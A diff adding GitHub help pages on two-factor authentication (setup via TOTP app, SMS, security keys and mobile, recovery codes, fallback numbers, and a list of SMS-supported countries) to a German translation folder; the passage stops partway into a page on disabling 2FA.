+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md
@@ -0,0 +1,48 @@
+---
+title: About two-factor authentication
+intro: '{% data reusables.two_fa.about-2fa %} With 2FA, you have to log in with your username and password and provide another form of authentication that only you know or have access to.'
+redirect_from:
+  - /articles/about-two-factor-authentication
+  - /github/authenticating-to-github/about-two-factor-authentication
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - 2FA
+shortTitle: About 2FA
+---
+For {% data variables.product.product_name %}, the second form of authentication is a code that's generated by an application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. After you enable 2FA, {% data variables.product.product_name %} generates an authentication code any time someone attempts to sign into your account on {% data variables.location.product_location %}. The only way someone can sign into your account is if they know both your password and have access to the authentication code on your phone.
+
+{% data reusables.two_fa.after-2fa-add-security-key %}
+
+{% ifversion fpt or ghec %}
+In addition to security keys, you can also use {% data variables.product.prodname_mobile %} for 2FA after configuring a TOTP mobile app or text messages. {% data variables.product.prodname_mobile %} uses public-key cryptography to secure your account, allowing you to use any mobile device that you've used to sign in to {% data variables.product.prodname_mobile %} as your second factor.
+{% endif %}
+
+You can also configure additional recovery methods in case you lose access to your two-factor authentication credentials. For more information on setting up 2FA, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" and "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)."
+
+We **strongly** urge you to enable 2FA for the safety of your account, not only on {% data variables.product.product_name %}, but on other websites and apps that support 2FA. You can enable 2FA to access {% data variables.product.product_name %} and {% data variables.product.prodname_desktop %}.
+
+For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)."
+
+## Two-factor authentication recovery codes
+
+{% data reusables.two_fa.about-recovery-codes %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+
+{% ifversion fpt or ghec %}
+
+{% warning %}
+
+**Warning**: {% data reusables.two_fa.support-may-not-help %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+
+{% endwarning %}
+
+{% endif %}
+
+## Requiring two-factor authentication in your organization
+
+Organization owners can require that organization members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators use two-factor authentication to secure their personal accounts. For more information, see "[Requiring two-factor authentication in your organization](/articles/requiring-two-factor-authentication-in-your-organization)."
+
+{% data reusables.two_fa.auth_methods_2fa %}
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
new file mode 100644
index 0000000000..a79e1f0801
--- /dev/null
+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
@@ -0,0 +1,97 @@
+---
+title: Accessing GitHub using two-factor authentication
+intro: 'With 2FA enabled, you''ll be asked to provide your 2FA authentication code, as well as your password, when you sign in to {% data variables.product.product_name %}.'
+redirect_from:
+  - /articles/providing-your-2fa-security-code
+  - /articles/providing-your-2fa-authentication-code
+  - /articles/authenticating-to-github-using-fido-u2f-via-nfc
+  - /articles/accessing-github-using-two-factor-authentication
+  - /github/authenticating-to-github/accessing-github-using-two-factor-authentication
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - 2FA
+shortTitle: Access GitHub with 2FA
+---
+With two-factor authentication enabled, you'll need to provide an authentication code when accessing {% data variables.product.product_name %} through your browser. If you access {% data variables.product.product_name %} using other methods, such as the API or the command line, you'll need to use an alternative form of authentication. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)."
+
+## Providing a 2FA code when signing in to the website
+
+After you sign in to {% data variables.product.product_name %} using your password, you'll be prompted to provide an authentication code from {% ifversion fpt or ghec %}a text message or{% endif %} your TOTP app.
+
+{% data variables.product.product_name %} will only ask you to provide your 2FA authentication code again if you've logged out, are using a new device, or your session expires.
+
+### Generating a code through a TOTP application
+
+If you chose to set up two-factor authentication using a TOTP application on your smartphone, you can generate an authentication code for {% data variables.product.product_name %} at any time. In most cases, just launching the application will generate a new code. You should refer to your application's documentation for specific instructions.
+
+If you delete the mobile application after configuring two-factor authentication, you'll need to provide your recovery code to get access to your account. For more information, see "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+
+{% ifversion fpt or ghec %}
+
+### Receiving a text message
+
+If you set up two-factor authentication via text messages, {% data variables.product.product_name %} will send you a text message with your authentication code.
+
+### Verifying with {% data variables.product.prodname_mobile %}
+
+If you have installed and signed in to {% data variables.product.prodname_mobile %}, you may choose to authenticate with {% data variables.product.prodname_mobile %} for two-factor authentication.
+
+1. Sign in to {% data variables.product.product_name %} with your browser, using your username and password.
+2. If you have added a security key to your account, you'll first be prompted to insert and use a security key. To skip using a security key, click **Authenticate with {% data variables.product.prodname_mobile %}**.
+  ![Two-factor authentication challenge on {% data variables.product.product_name %} with "Authenticate with {% data variables.product.prodname_mobile %}" highlighted](/assets/images/help/2fa/2fa-select-mobile.png)
+3. {% data variables.product.product_name %} will send you a push notification to verify your sign in attempt. Opening the push notification or opening the {% data variables.product.prodname_mobile %} app will display a prompt, asking you to approve or reject this sign in attempt.
+  {% note %}
+
+  **Note**: This prompt may require you to enter a two-digit number displayed within the browser you are signing in to.
+
+  {% endnote %}
+
+  ![Two-factor authentication challenge with {% data variables.product.prodname_mobile %} requiring a two-digit input](/assets/images/help/2fa/2fa-mobile-number-challenge.png)
+
+    - Upon approving the login attempt using {% data variables.product.prodname_mobile %}, your browser will complete the sign in attempt automatically.
+    - Rejecting the sign in attempt will prevent the authentication from finishing. For more information, see "[Keeping your account and data secure](/authentication/keeping-your-account-and-data-secure)."
+
+{% endif %}
+
+## Using two-factor authentication with the command line
+
+After you've enabled 2FA, you will no longer use your password to access {% data variables.product.product_name %} on the command line. Instead, use Git Credential Manager, a {% data variables.product.pat_generic %}, or an SSH key.
+
+### Authenticating on the command line using Git Credential Manager
+
+[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) is a secure Git credential helper that runs on Windows, macOS, and Linux. For more information about Git credential helpers, see [Avoiding repetition](https://git-scm.com/docs/gitcredentials#_avoiding_repetition) in the Pro Git book.
+
+Setup instructions vary based on your computer's operating system. For more information, see [Download and install](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md#download-and-install) in the GitCredentialManager/git-credential-manager repository.
+
+### Authenticating on the command line using HTTPS
+
+After you've enabled 2FA, you must create a {% data variables.product.pat_generic %} to use as a password when authenticating to {% data variables.product.product_name %} on the command line using HTTPS URLs.
+
+When prompted for a username and password on the command line, use your {% data variables.product.product_name %} username and {% data variables.product.pat_generic %}. The command line prompt won't specify that you should enter your {% data variables.product.pat_generic %} when it asks for your password.
+
+For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+### Authenticating on the command line using SSH
+
+Enabling 2FA doesn't change how you authenticate to {% data variables.product.product_name %} on the command line using SSH URLs. For more information about setting up and using an SSH key, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/articles/connecting-to-github-with-ssh/)."
+
+## Using two-factor authentication to access a repository using Subversion
+
+When you access a repository via Subversion, you must provide a {% data variables.product.pat_generic %} instead of entering your password. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+## Troubleshooting
+
+If you lose access to your two-factor authentication credentials, you can use your recovery codes or another recovery method (if you've set one up) to regain access to your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+
+If your authentication fails several times, you may wish to synchronize your phone's clock with your mobile provider. Often, this involves checking the "Set automatically" option on your phone's clock, rather than providing your own time zone.
+
+## Further reading
+
+- "[About two-factor authentication](/articles/about-two-factor-authentication)"
+- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
+- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
new file mode 100644
index 0000000000..80b5dabe94
--- /dev/null
+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
@@ -0,0 +1,35 @@
+---
+title: Changing two-factor authentication delivery methods for your mobile device
+intro: You can switch between receiving authentication codes through a text message or a mobile application.
+redirect_from:
+  - /articles/changing-two-factor-authentication-delivery-methods
+  - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device
+  - /github/authenticating-to-github/changing-two-factor-authentication-delivery-methods-for-your-mobile-device
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - 2FA
+shortTitle: Change 2FA delivery method
+---
+{% note %}
+
+**Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)."
+
+{% endnote %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+3. Next to "Primary two-factor method", click **Change**.
+  ![Edit primary delivery options](/assets/images/help/2fa/edit-primary-delivery-option.png)
+4. Under "Delivery options", click **Reconfigure two-factor authentication**.
+    ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png)
+5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+    - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**.
+    - To set up two-factor authentication using text message (SMS), click **Set up using SMS**.
+
+## Further reading
+
+- "[About two-factor authentication](/articles/about-two-factor-authentication)"
+- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
new file mode 100644
index 0000000000..82055c17a5
--- /dev/null
+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
@@ -0,0 +1,90 @@
+---
+title: Configuring two-factor authentication recovery methods
+intro: You can set up a variety of recovery methods to access your account if you lose your two-factor authentication credentials.
+redirect_from:
+  - /articles/downloading-your-two-factor-authentication-recovery-codes
+  - /articles/setting-a-fallback-authentication-number
+  - /articles/about-recover-accounts-elsewhere
+  - /articles/adding-a-fallback-authentication-method-with-recover-accounts-elsewhere
+  - /articles/generating-and-storing-an-account-recovery-token
+  - /articles/configuring-two-factor-authentication-recovery-methods
+  - /github/authenticating-to-github/configuring-two-factor-authentication-recovery-methods
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - 2FA
+shortTitle: Configure 2FA recovery
+---
+In addition to securely storing your two-factor authentication recovery codes, we strongly recommend configuring one or more additional recovery methods.
+
+## Downloading your two-factor authentication recovery codes
+
+{% data reusables.two_fa.about-recovery-codes %} You can also download your recovery codes at any point after enabling two-factor authentication.
+
+To keep your account secure, don't share or distribute your recovery codes. We recommend saving them with a secure password manager, such as:
+- [1Password](https://1password.com/)
+- [LastPass](https://lastpass.com/)
+
+If you generate new recovery codes or disable and re-enable 2FA, the recovery codes in your security settings automatically update.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+{% data reusables.two_fa.show-recovery-codes %}
+4. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
+    - To save your recovery codes on your device, click **Download**.
+    - To save a hard copy of your recovery codes, click **Print**.
+    - To copy your recovery codes for storage in a password manager, click **Copy**.
+  ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+
+## Generating a new set of recovery codes
+
+Once you use a recovery code to regain access to your account, it cannot be reused. If you've used all 16 recovery codes, you can generate another list of codes. Generating a new set of recovery codes will invalidate any codes you previously generated.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+{% data reusables.two_fa.show-recovery-codes %}
+3. To create another batch of recovery codes, click **Generate new recovery codes**.
+	![Generate new recovery codes button](/assets/images/help/2fa/generate-new-recovery-codes.png)
+
+## Configuring a security key as an additional two-factor authentication method
+
+You can set up a security key as a secondary two-factor authentication method, and use the security key to regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+
+{% ifversion fpt or ghec %}
+
+## Setting a fallback authentication number
+
+You can provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+
+You can use a fallback number regardless of whether you've configured authentication via text message or TOTP mobile application.
+
+{% warning %}
+
+**Warning:** Using a fallback number is a last resort. We recommend configuring additional recovery methods if you set a fallback authentication number.
+- Bad actors may attack cell phone carriers, so SMS authentication is risky.
+- SMS messages are only supported for certain countries outside the US; for the list, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+
+{% endwarning %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+3. Next to "Fallback SMS number", click **Add**.
+![Add fallback SMS number button](/assets/images/help/2fa/add-fallback-sms-number-button.png)
+4. Under "Fallback SMS number", click **Add fallback SMS number**.
+![Add fallback SMS number text](/assets/images/help/2fa/add_fallback_sms_number_text.png)
+5. Select your country code and type your mobile phone number, including the area code. When your information is correct, click **Set fallback**.
+	![Set fallback SMS number](/assets/images/help/2fa/2fa-fallback-number.png)
+
+After setup, the backup device will receive a confirmation SMS.
+
+{% endif %}
+
+## Further reading
+
+- "[About two-factor authentication](/articles/about-two-factor-authentication)"
+- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
+- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
+- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
new file mode 100644
index 0000000000..ec06abf702
--- /dev/null
+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
@@ -0,0 +1,155 @@
+---
+title: Configuring two-factor authentication
+intro: You can choose among multiple options to add a second source of authentication to your account.
+redirect_from:
+  - /articles/configuring-two-factor-authentication-via-a-totp-mobile-app
+  - /articles/configuring-two-factor-authentication-via-text-message
+  - /articles/configuring-two-factor-authentication-via-fido-u2f
+  - /articles/configuring-two-factor-authentication
+  - /github/authenticating-to-github/configuring-two-factor-authentication
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - 2FA
+shortTitle: Configure 2FA
+---
+You can configure two-factor authentication using a mobile app{% ifversion fpt or ghec %} or via text message{% endif %}. You can also add a security key.
+
+We strongly recommend using a time-based one-time password (TOTP) application to configure 2FA.{% ifversion fpt or ghec %} TOTP applications are more reliable than SMS, especially for locations outside the United States.{% endif %} TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device.
+
+{% warning %}
+
+**Warning:**
+- If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a private repository of an organization that requires two-factor authentication, you must leave the organization before you can disable 2FA on {% data variables.location.product_location %}.
+- If you disable 2FA, you will automatically lose access to the organization and any private forks you have of the organization's private repositories. To regain access to the organization and your forks, re-enable two-factor authentication and contact an organization owner.
+
+{% endwarning %}
+
+{% ifversion fpt or ghec %}
+
+If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.enterprise.prodname_managed_user %} account unless you're signed in as the setup user. For users other than the setup user, an administrator must configure 2FA on your identity provider (IdP).
+
+{% endif %}
+
+## Configuring two-factor authentication using a TOTP mobile app
+
+A time-based one-time password (TOTP) application automatically generates an authentication code that changes after a certain period of time. We recommend using cloud-based TOTP apps such as:
+- [1Password](https://support.1password.com/one-time-passwords/)
+- [Authy](https://authy.com/guides/github/)
+- [LastPass Authenticator](https://lastpass.com/auth/)
+- [Microsoft Authenticator](https://www.microsoft.com/en-us/account/authenticator/)
+
+{% tip %}
+
+**Tip**: To configure authentication via TOTP on multiple devices, during setup, scan the QR code using each device at the same time. If 2FA is already enabled and you want to add another device, you must re-configure 2FA from your security settings.
+
+{% endtip %}
+
+1. Download a TOTP app.
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+{% data reusables.two_fa.enable-two-factor-authentication %}
+{%- ifversion fpt or ghec or ghes %}
+5. Under "Two-factor authentication", select **Set up using an app** and click **Continue**.
+6. Under "Authentication verification", do one of the following:
+    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
+    - If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead.
+    ![Click enter this code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
+7. The TOTP mobile application saves your account on {% data variables.location.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application". If your recovery codes are not automatically displayed, click **Continue**.
+![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
+{% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
+{%- else %}
+5. On the Two-factor authentication page, click **Set up using an app**.
+6. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
+    - To save your recovery codes on your device, click **Download**.
+    - To save a hard copy of your recovery codes, click **Print**.
+    - To copy your recovery codes for storage in a password manager, click **Copy**.
+    ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+7. After saving your two-factor recovery codes, click **Next**.
+8. On the Two-factor authentication page, do one of the following:
+    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
+    - If you can't scan the QR code, click **enter this text code** to see a code you can copy and manually enter on {% data variables.product.product_name %} instead.
+    ![Click enter this code](/assets/images/help/2fa/totp-click-enter-code.png)
+9. The TOTP mobile application saves your account on {% data variables.location.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, on the 2FA page, type the code and click **Enable**.
+	![TOTP Enable field](/assets/images/help/2fa/totp-enter-code.png)
+{%- endif %}
+{% data reusables.two_fa.test_2fa_immediately %}
+
+{% ifversion fpt or ghec %}
+
+## Configuring two-factor authentication using text messages
+
+If you're unable to authenticate using a TOTP mobile app, you can authenticate using SMS messages. You can also provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+
+Before using this method, be sure that you can receive text messages. Carrier rates may apply.
+
+{% warning %}
+
+**Warning:** We **strongly recommend** using a TOTP application for two-factor authentication instead of SMS. {% data variables.product.product_name %} doesn't support sending SMS messages to phones in every country. Before configuring authentication via text message, review the list of countries where {% data variables.product.product_name %} supports authentication via SMS. For more information, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+
+{% endwarning %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+{% data reusables.two_fa.enable-two-factor-authentication %}
+4. Under "Two-factor authentication", select **Set up using SMS** and click **Continue**.
+5. Under "Authentication verification", select your country code and type your mobile phone number, including the area code. When your information is correct, click **Send authentication code**.
+
+  ![2FA SMS screen](/assets/images/help/2fa/2fa_wizard_sms_send.png)
+
+6. You'll receive a text message with a security code. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code sent to your phone" and click **Continue**.
+
+  ![2FA SMS continue field](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
+{% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
+{% data reusables.two_fa.test_2fa_immediately %}
+
+{% endif %}
+
+## Configuring two-factor authentication using a security key
+
+{% data reusables.two_fa.after-2fa-add-security-key %}
+
+On most devices and browsers, you can use a physical security key over USB or NFC. Some browsers can use the fingerprint reader, facial recognition, or password/PIN on your device as a security key.
+
+Authentication with a security key is *secondary* to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}. If you lose your security key, you'll still be able to use your phone's code to sign in.
+
+1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}.
+2. Ensure that you have a WebAuthn compatible security key inserted into your computer.
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+5. Next to "Security keys", click **Add**.
+  ![Add security keys option](/assets/images/help/2fa/add-security-keys-option.png)
+6. Under "Security keys", click **Register new security key**.
+  ![Registering a new security key](/assets/images/help/2fa/security-key-register.png)
+7. Type a nickname for the security key, then click **Add**.
+  ![Providing a nickname for a security key](/assets/images/help/2fa/security-key-nickname.png)
+8. Activate your security key, following your security key's documentation.
+  ![Prompt for a security key](/assets/images/help/2fa/security-key-prompt.png)
+9.  Confirm that you've downloaded and can access your recovery codes. If you haven't already, or if you'd like to generate another set of codes, download your codes and save them in a safe place. If you lose access to your account, you can use your recovery codes to get back into your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+	![Download recovery codes button](/assets/images/help/2fa/2fa-recover-during-setup.png)
+{% data reusables.two_fa.test_2fa_immediately %}
+
+{% ifversion fpt or ghec %}
+## Configuring two-factor authentication using {% data variables.product.prodname_mobile %}
+
+You can use {% data variables.product.prodname_mobile %} for 2FA when signing into your {% data variables.product.prodname_dotcom %} account in a web browser. 2FA with {% data variables.product.prodname_mobile %} does not rely on TOTP, and instead uses public-key cryptography to secure your account.
+
+Once you have configured a TOTP application, or SMS, you can also use {% data variables.product.prodname_mobile %} to authenticate. If, in the future, you no longer have access to {% data variables.product.prodname_mobile %}, you will still be able to use security keys or TOTP applications to sign in.
+
+1. You must have already configured 2FA via a TOTP mobile app or via SMS.
+2. Install [{% data variables.product.prodname_mobile %}](https://github.com/mobile).
+3. Sign in to your {% data variables.product.product_name %} account from {% data variables.product.prodname_mobile %}.
+
+After signing in, you can now use your device for 2FA.
+{% endif %}
+
+## Further reading
+
+- "[About two-factor authentication](/articles/about-two-factor-authentication)"
+- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
+- "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)"
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md
new file mode 100644
index 0000000000..6985cbd436
--- /dev/null
+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md
@@ -0,0 +1,142 @@
+---
+title: 'Länder, in denen die SMS-Authentifizierung unterstützt wird'
+intro: 'Wegen der Auslieferungserfolgsquoten unterstützt {% data variables.product.product_name %} die Zwei-Faktor-Authentifizierung per SMS nur in bestimmten Ländern.'
+redirect_from:
+  - /articles/countries-where-sms-authentication-is-supported
+  - /github/authenticating-to-github/countries-where-sms-authentication-is-supported
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - 2FA
+shortTitle: Countries supporting SMS
+ms.openlocfilehash: bfd2ae699b2ac36d0d56deb43d892192441d2fe3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085924'
+---
+Wenn wir die Zwei-Faktor-Authentifizierung per SMS in Deinem Land nicht unterstützen, kannst Du die Authentifizierung per TOTP-Mobilanwendung einrichten. Weitere Informationen findest du unter [Konfigurieren der zweistufigen Authentifizierung](/articles/configuring-two-factor-authentication).
+
+## Länder mit Unterstützung der SMS-Authentifizierung
+
+Wenn sich Dein Land nicht auf dieser Liste befindet, können wir derzeit nicht zuverlässig SMS in Dein Land senden. Wir aktualisieren diese Liste regelmäßig.
+
+<ul style="-webkit-column-count: 3; -moz-column-count: 3; column-count: 3;">
+<li>Ålandinseln</li>
+<li>Algerien</li>
+<li>Angola</li>
+<li>Anguilla</li>
+<li>Australien</li>
+<li>Österreich</li>
+<li>Bahamas</li>
+<li>Bahrain</li>
+<li>Bangladesch</li>
+<li>Belarus</li>
+<li>Belgien</li>
+<li>Benin</li>
+<li>Bolivien</li>
+<li>Bosnien und Herzegowina</li>
+<li>Brunei</li>
+<li>Bulgarien</li>
+<li>Burundi</li>
+<li>Kambodscha</li>
+<li>Kanada</li>
+<li>Cabo Verde</li>
+<li>Kaimaninseln</li>
+<li>Weihnachtsinsel</li>
+<li>Cocos</li>
+<li>Demokratische Republik Kongo</li>
+<li>Kroatien</li>
+<li>Zypern</li>
+<li>Tschechische Republik</li>
+<li>Dänemark</li>
+<li>Dominica</li>
+<li>Dominikanische Republik</li>
+<li>Ecuador</li>
+<li>Äquatorialguinea</li>
+<li>Estland</li>
+<li>Finnland/Aland-Inseln</li>
+<li>Frankreich</li>
+<li>Gambia</li>
+<li>Georgien</li>
+<li>Deutschland</li>
+<li>Ghana</li>
+<li>Gibraltar</li>
+<li>Griechenland</li>
+<li>Guatemala</li>
+<li>Guyana</li>
+<li>Ungarn</li>
+<li>Island</li>
+<li>Indien</li>
+<li>Indonesien</li>
+<li>Irland</li>
+<li>Israel</li>
+<li>Italien</li>
+<li>Elfenbeinküste</li>
+<li>Jamaica</li>
+<li>Japan</li>
+<li>Jordanien</li>
+<li>Kasachstan</li>
+<li>Kuwait</li>
+<li>Lettland</li>
+<li>Libyen</li>
+<li>Liechtenstein</li>
+<li>Litauen</li>
+<li>Luxemburg</li>
+<li>Madagaskar</li>
+<li>Malawi</li>
+<li>Malaysia</li>
+<li>Malediven</li>
+<li>Mali</li>
+<li>Malta</li>
+<li>Mauritius</li>
+<li>Mexiko</li>
+<li>Monaco</li>
+<li>Montenegro</li>
+<li>Montserrat</li>
+<li>Mosambik</li>
+<li>Namibia</li>
+<li>Niederlande</li>
+<li>Niederländische Antillen</li>
+<li>Neuseeland</li>
+<li>Nigeria</li>
+<li>Norwegen</li>
+<li>Philippinen</li>
+<li>Polen</li>
+<li>Portugal</li>
+<li>Katar</li>
+<li>Rumänien</li>
+<li>Ruanda</li>
+<li>Senegal</li>
+<li>Serbien</li>
+<li>Seychellen</li>
+<li>Singapur</li>
+<li>Slowakei</li>
+<li>Slowenien</li>
+<li>Südafrika</li>
+<li>Südkorea</li>
+<li>Spanien</li>
+<li>Sri Lanka</li>
+<li>Sankt Lucia</li>
+<li>Sudan</li>
+<li>Schweden</li>
+<li>Schweiz</li>
+<li>Taiwan</li>
+<li>Tansania</li>
+<li>Togo</li>
+<li>Trinidad und Tobago</li>
+<li>Turks- und Caicosinseln</li>
+<li>Uganda</li>
+<li>Vereinigte Arabische Emirate</li>
+<li>Vereinigtes Königreich</li>
+<li>USA</li>
+<li>Usbekistan</li>
+<li>Venezuela</li>
+</ul>
+
+## Weiterführende Themen
+
+- „[Informationen zur zweistufigen Authentifizierung](/articles/about-two-factor-authentication)“
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md
new file mode 100644
index 0000000000..06874b2139
--- /dev/null
+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md
@@ -0,0 +1,39 @@
+---
+title: Disabling two-factor authentication for your personal account
+intro: 'If you disable two-factor authentication for your personal account, you may lose access to organizations you belong to.'
+redirect_from:
+  - /articles/disabling-two-factor-authentication-for-your-personal-account
